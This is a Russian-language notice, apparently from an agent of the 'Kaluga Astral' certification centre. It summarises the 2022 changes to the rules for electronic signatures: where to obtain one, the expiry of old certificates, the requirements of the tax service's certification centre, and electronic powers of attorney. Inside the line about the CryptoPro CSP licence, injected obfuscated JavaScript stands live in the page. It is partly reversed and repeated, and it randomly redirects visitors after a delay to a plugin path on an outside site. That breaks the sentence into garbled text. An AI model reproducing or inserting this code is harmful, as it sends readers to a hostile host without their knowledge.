В связи со значительным изменениями, вступившими в силу 1 января 2022г, публикуем выдержки из статьи «Как работать с ЭП в 2022 году: изменения в законодательстве и новые правила выдачи» опубликованной УЦ «Калуга Астрал», агентом которого мы являемся.
Где получать электронную подпись после 1 января 2022 года
- УЦ ФНС России выдает ЭП руководителям ЮЛ/ИП и нотариусам.
- УЦ Центрального банка РФ выдает ЭП кредитным организациям, операторам платежных систем, некредитным финансовым организациям.
- УЦ Федерального Казначейства выдает ЭП должностным лицам государственных органов, органов местного самоуправления либо подведомственным государственному органу или органу местного самоуправления организациям.
- Аккредитованные УЦ по новым требованиям (как АУЦ АО «Калуга Астрал»), будут выдавать ЭП как физическим лицам, так и ЮЛ/ИП, но не руководителям, а сотрудникам организации.
Подписи, выпущенные УЦ, которые не проходили аккредитацию по новым требованиям, прекратили свое действие 31 декабря 2021 года. Что делать?
Изменения 63-ФЗ поделили ЭП на два вида:
- выпущенные не АУЦ до 01.07.2021. Прекратили свое действие 31.12.2021 и их нужно перевыпускать;
- выпущенные после 01.07.2021 аккредитованными по новым правилам УЦ продолжают работать весь срок действия, но не позднее 31.12.2022.
Пример: ЭП выпущена АУЦ на 15 месяцев 01.11.2021, такая подпись проработает вместо 15 месяцев до 31.12.2022.
Важно! Значительная часть сертификатов, используемых в наших продуктах, была выпущена на УЦ «Астрал-М», который не проходил переаккредитацию, и такие сертификаты прекратили действие 31.12.2021.
До конца 2021 года в рамках акции @Zabota мы перевыпускали сертификаты согласно новым требованиям на АУЦ АО «Калуга Астрал». Если перевыпустить ЭП не успели, то в 2022 году получить ЭП можно следующими способами:
- На руководителя ЮЛ/ИП: в УЦ ФНС или у Доверенных лиц УЦ ФНС.
- На сотрудника ЮЛ/ИП: в Аккредитованных УЦ (например, в АУЦ АО «Калуга Астрал»).
Как получить Электронную подпись в 2022 году на руководителя и на сотрудника
Что нужно для получения ЭП в ФНС:
- Выбрать одно из 694 отделений ФНС России, которые выдают ЭП от УЦ ФНС и записаться к определенному времени. Запись доступна на 14 дней вперед. Подробная инструкция.
- Руководителю ЮЛ/ИП взять с собой оригинал паспорта и СНИЛС. Важно! УЦ ФНС выдает ЭП только на руководителей.
- Взять сертифицированный USB-токен.
Что нужно для настройки и работы с ЭП УЦ ФНС:
- Потребуется лицензия toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toprovayderom/kriptoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}topro-csp-4/»>СКЗИ Крипто ПРО CSP.
- Настроить электронную подпись от УЦ ФНС для работы с программами, сайтами и порталами. Можно сделать по нашей инструкции или за этой услугой к нашим представителям.
Как проверить, работает ли электронная подпись в 2022 году
Что такое МЧД и что нас ждет еще в 2022 году
С 1 марта 2022 года можно будет применять МЧД в системах, которые успеют подготовиться. Для себя понимаем, что это пилотное внедрение.
С 1 марта по 31 декабря 2022 года вводится переходный период по МЧД. Компании могут по желанию перейти на новую схему работы: получить сертификат физлица в аккредитованном УЦ и при его применении использовать электронную доверенность (МЧД).
До 31 декабря 2022 года остается возможность использования ЭП сотрудников, выдаваемых по старым правилам, в которых указан ИНН компании и ИНН ФЛ. Применять вместе с ними МЧД не требуется. Такие сертификаты АУЦ смогут выдавать до конца 2022 года. Подписи, выданные АУЦ на руководителей ЮЛ/ИП и сотрудников ЮЛ/ИП с указанием ИНН ФЛ, действуют до конца 2022 года.
С 1 января 2023 года схема работы изменится: можно будет работать с ЭП на руководителя ЮЛ/ИП или с ЭП, выданной на ФЛ (на сотрудника) и МЧД.
С 1 января 2023 года работать с ЭП на ЮЛ и указанием ИНН ФЛ сотрудника будет нельзя. То есть к этой дате клиентам необходимо получить сертификат физлица и при его применении прикладывать МЧД.
Кто такие ДЛ УЦ ФНС
В рамках этой статьи мы уже несколько раз сталкивались с термином ДЛ УЦ ФНС. Расшифровывается как Доверенные лица Удостоверяющего центра ФНС. Это ограниченный список компаний, которые получили от ФНС разрешение на выпуск электронных подписей на руководителей ЮЛ/ИП от имени УЦ ФНС.
Список действительно ограниченный. На 31 декабря 2021 года статус ДЛ УЦ ФНС получили:
- УЦ Сбербанк,
- УЦ «Аналитический центр»,
- УЦ ВТБ.
Ожидаем расширение этого списка в 2022 году до 6 организаций — это также крупнейшие Банки РФ.
ДЛ УЦ ФНС за счет охвата отделениями по РФ призваны расширить количество адресов, где можно получить ЭП на руководителя ЮЛ/ИП.